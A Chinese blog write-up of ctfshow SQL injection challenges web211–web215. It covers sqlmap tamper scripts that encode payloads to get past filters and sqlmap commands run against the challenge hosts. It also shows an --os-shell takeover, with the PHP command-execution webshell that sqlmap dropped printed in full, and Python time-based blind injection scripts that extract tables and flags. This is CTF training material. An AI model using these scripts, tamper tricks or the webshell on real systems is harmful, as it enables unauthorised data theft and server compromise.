ctfshow-web入门-sql注入(web211-web215)系统练习sqlmap的使用+开始时间盲注

69 篇文章 1 订阅
24 篇文章 1 订阅

目录

1、web211

2、web212

3、web213

4、web214

5、web215


1、web211

将空格过滤和解密操作合在了一起,那么我们就两个脚本一起用

先回顾一下上一题我们写的解密和反转的 tamper:

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        retVal = base64.b64encode(base64.b64encode(retVal[::-1].encode())[::-1]).decode()
    return retVal

结合 space2comment.py 一起使用:

注意顺序,space2comment.py 在前,查表

python sqlmap.py -u http://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=25l4jdvra9m8qjg9bitju3ur3a" --safe-url="https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper space2comment.py,myon/strrev+base64.py

查列名:

python sqlmap.py -u http://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=25l4jdvra9m8qjg9bitju3ur3a" --safe-url="https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia --columns --batch --tamper space2comment.py,myon/strrev+base64.py

查字段:

python sqlmap.py -u http://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=25l4jdvra9m8qjg9bitju3ur3a" --safe-url="https://3f66a612-91a6-420d-8411-822e7d4017ee.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa --dump --batch --tamper space2comment.py,myon/strrev+base64.py

拿到 flag:ctfshow{a3872d25-98b9-4aac-99f8-b55023ca6b45}

2、web212

这次过滤了空格和星号,那么用我们前面用过的 %09,即 chr(0x09)。

除了将两个脚本结合使用,我们也可以直接将替换的操作加到我们的 payload 里面,添加后的 tamper 如下: 

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64
__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = retVal.replace(' ',chr(0x09))
        retVal = base64.b64encode(base64.b64encode(retVal[::-1].encode())[::-1]).decode()

    return retVal

 

查表: 

python sqlmap.py -u http://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=rog1ioc3ifv7l9ad06mali8p19" --safe-url="https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --tables --batch --tamper myon/test.py

查列:

python sqlmap.py -u http://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=rog1ioc3ifv7l9ad06mali8p19" --safe-url="https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis --columns --batch --tamper myon/test.py

查字段:

python sqlmap.py -u http://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=rog1ioc3ifv7l9ad06mali8p19" --safe-url="https://74066a0c-960f-40c1-b938-1bad8cd0f0ec.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavis -C ctfshow_flagxsa --dump --batch --tamper myon/test.py

拿到 flag:ctfshow{0881c54a-06e9-4061-ba10-96e46ef79f6b} 

3、web213

练习使用 --os-shell 一键 getshell 

返回逻辑和上一道题一样,因此我们的绕过脚本还是采用上一题的 test.py 。

追加 --os-shell 参数试试:

python sqlmap.py -u http://0ae41b8d-c9ff-4444-8dbb-f93485fc0811.challenge.ctf.show/api/index.php --method="PUT" --data id=1 --referer https://0ae41b8d-c9ff-4444-8dbb-f93485fc0811.challenge.ctf.show/sqlmap.php --headers="Content-Type: text/plain" --cookie="cf_clearance=zOvseNGe7vsa2iI2sul0q..4iqncuiCpp8aVLf69f9Y-1717821963-1.0.1.1-N5r_3ciDzNeXvE8j78vzM6Uka2Tkxbx_0Jor4kyshLMGZLVImg6LN8JOObUcpFLUAVMeTbSquJsxIvNK.js70Q; PHPSESSID=c477m0r86t0cucvvesir26l5al" --safe-url="https://0ae41b8d-c9ff-4444-8dbb-f93485fc0811.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper myon/test.py --os-shell

反弹了一个 shell 给我们,可以直接进行命令执行 

网站路径下新增了两个 php 文件:tmpbhsps.php 和 tmpustcn.php

访问 tmpustcn.php,发现是一个文件上传界面:

再看一下 tmpbhsps.php 的内容:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1
";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w

看起来像是个木马后门,其实就是供我们进行命令执行的 php 文件。 

对于 mysql 数据库,sqlmap 的 --os-shell 参数就是写入两个 php 文件,其中一个是提供文件上传功能的文件,之后再上传一个是用于进行命令执行的文件,也就是最后反弹给我们的 shell。

当然,对于 --os-shell 能利用也是有一定条件的,一般需要是高权限数据库用户,并且需要知道网站的绝对路径,具有写入文件的权限,还有一些其他条件。

这里 cd 不了,那么看一下根目录下的文件,发现存在 ctfshow_flag,使用 tac 读取:

tac /ctfshow_flag

拿到 flag:ctfshow{7ab7a18b-88ea-4687-a9c2-5178ea4a55fc}

4、web214

开始基于时间盲注

没有找到注入点,看了 b 站视频,是抓首页的包,但是我实际抓出来只有一个 get 请求的包:

不管了,直接看 wp ,它这里的注入点是 ip 和 debug,将 debug 置 1,在 ip 进行注入,采用 post  请求 /api/index.php:

可以看到进行了查询

题目都说了是时间盲注,我们测一下:

debug=1&ip=sleep(5)

 观察页面确实存在延时 

开始写脚本前,我们再简单测一下 payload 是否可行:

猜测数据库名的第一个字符是 'a'

debug=1&ip=if(substr(database(),1,1)='a',sleep(3),0)

执行并未发现延时现象 

猜测数据库名第一个字符是 'c'

debug=1&ip=if(substr(database(),1,1)='c',sleep(3),0)

可以明显看出存在 3s 的延时

接下来我们就可以写 python 脚本了:

import requests
import string

url = 'http://9b7c4d89-ee01-402c-abc2-43faf75b8926.challenge.ctf.show/api/index.php'
dic = string.digits + 'abcdefctshow{-}_'
out = ''

for j in range(1, 50):
    for k in dic:
        payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',sleep(3),0)"}
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

为了节省时间,字典我规避掉了一些不可能的字符 。

这里没有判断是否猜到了最后一位,不过我们也可以看出来的,数据库名:ctfshow_web

接下来我们猜表名:

payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)"}

但是结果看起来不完整 

才意识到那个字典的内容是针对 flag 来的,但是表名和列名可能还包含了其他字符,因此我们将字典补全为所有的小写字母:

dic = string.digits + string.ascii_lowercase + '{}-_'

再跑一次:

这次没有问题,表名为:ctfshow_flagx

我们也可以用 group_concat 不用 limit:

payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)"}

这个出来的内容更多, 当然,这个也是可以通过控制 limit 的参数来跑其他行的内容。

但是都需要注意一个问题,就是 payload 里这个 select 查询语句的结果,这个整体需要用括号包裹起来,作为 substr 函数的第一个参数,试了下没有括号包裹是不行的。

我们继续猜列名:

payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'), {j}, 1) = '{k}',sleep(3),0)"}

结果没有进行分隔,不过我们也可以看出是:id,flaga,info 

最后直接查这个 flaga:

payload = {'debug': '1','ip': f"if(substr((select flaga from ctfshow_flagx), {j}, 1) = '{k}',sleep(3),0)"}

不知道为啥跑出了一个 6 :ctfs6ow{a0f08049-097c-4f50-9795-73baaac40278}

将 6 替换为 h,得到最终 flag:ctfshow{a0f08049-097c-4f50-9795-73baaac40278}

于是又再跑了一次,这回正常了,可能是猜到 6 的时候请求响应还是耗时超过了 2s,以至于没有去判断字典后面的 h 而造成的误判。

附上完整的脚本:

# @author:Myon
# @time:20240811
import requests
import string

url = 'http://9b7c4d89-ee01-402c-abc2-43faf75b8926.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"if(substr(database(),{j},1)='{k}',sleep(3),0)"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)"}  # 猜表名
        # payload = {'debug': '1','ip': f"if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'), {j}, 1) = '{k}',sleep(3),0)"}  # 猜列名
        payload = {'debug': '1', 'ip': f"if(substr((select flaga from ctfshow_flagx), {j}, 1) = '{k}',sleep(3),0)"}  # 跑flag

        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

5、web215

和上一题一样,只是需要将单引号闭合以及后面注释掉即可,直接在上一题的脚本上改:

跑表名

payload = {'debug': '1', 'ip': f"0'or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}

为 ctfshow_flagxc 

跑列名:

payload = {'debug': '1','ip': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜列名

id,flagaa,info 

跑具体字段信息:

payload = {'debug': '1', 'ip': f"0'or if(substr((select flagaa from ctfshow_flagxc), {j}, 1) = '{k}',sleep(3),0)#"}  # 跑flag

拿到 flag:ctfshow{d07c0639-a130-491e-b3da-d5f96f0ea214}

完整脚本:

# @author:Myon
# @time:20240812
import requests
import string

url = 'http://99b9eb81-d4cc-400b-9927-942016c1a686.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'debug':'1','ip':f"0'or if(substr(database(),{j},1)='{k}',sleep(3),0)#"}  # 猜数据库名
        # payload = {'debug': '1', 'ip': f"0'or if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜表名
        # payload = {'debug': '1','ip': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜表名
        # payload = {'debug': '1','ip': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'), {j}, 1) = '{k}',sleep(3),0)#"}  # 猜列名
        payload = {'debug': '1', 'ip': f"0'or if(substr((select flagaa from ctfshow_flagxc), {j}, 1) = '{k}',sleep(3),0)#"}  # 跑flag

        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

  • 15
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Myon⁶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值